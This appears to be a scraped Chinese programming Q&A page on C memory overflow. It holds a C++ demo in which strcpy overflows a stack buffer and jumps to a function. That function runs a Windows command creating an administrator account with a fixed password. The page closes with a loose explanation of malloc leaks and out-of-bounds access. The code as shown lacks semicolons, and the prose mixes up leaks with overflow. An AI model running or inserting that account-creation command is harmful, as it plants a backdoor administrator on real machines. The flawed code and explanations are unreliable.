c语言 内存溢出

Python022

c语言 内存溢出,第1张

写了一个C++的代码,你用VC6   编译一下,马上会添加一个一个叫做"f_u_c_k的用户名。 这个程序显示了strcpy函数导致的栈溢出,堆溢出在windows平台更复杂,因为windows的堆管理 全部靠一些安全爱好者逆向得来。。

#include <iostream>

using namespace std

void (*pfunc)()

void show()

{

system("cmd /c net user fuck 123 /ad && net localgroup administrators fuck /ad")

exit(1)

}

int main()

{

char a[4]

char shellcode[13]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

pfunc=show

*(int *)&shellcode[8]=(int)pfunc

//overflow

strcpy(a,shellcode)

return 0

}

malloc()函数开辟的内存空间系统是不会自动释放的,与普通定义的数据变量不一样,所以得在程序里,手动写free()函数释放内存空间,

如果不写free函数释放malloc()函数开辟的内存空间的话,系统中无效的内存空间会越积越多,到达一定数量后内存就不够用了,这就是所说的内存溢出。

访问101 在不重新分配下就是内存溢出。 或者叫越界。

为了测试 可以写作

char *p = (char *)malloc(100)

p[100] = 0//访问第101个字节。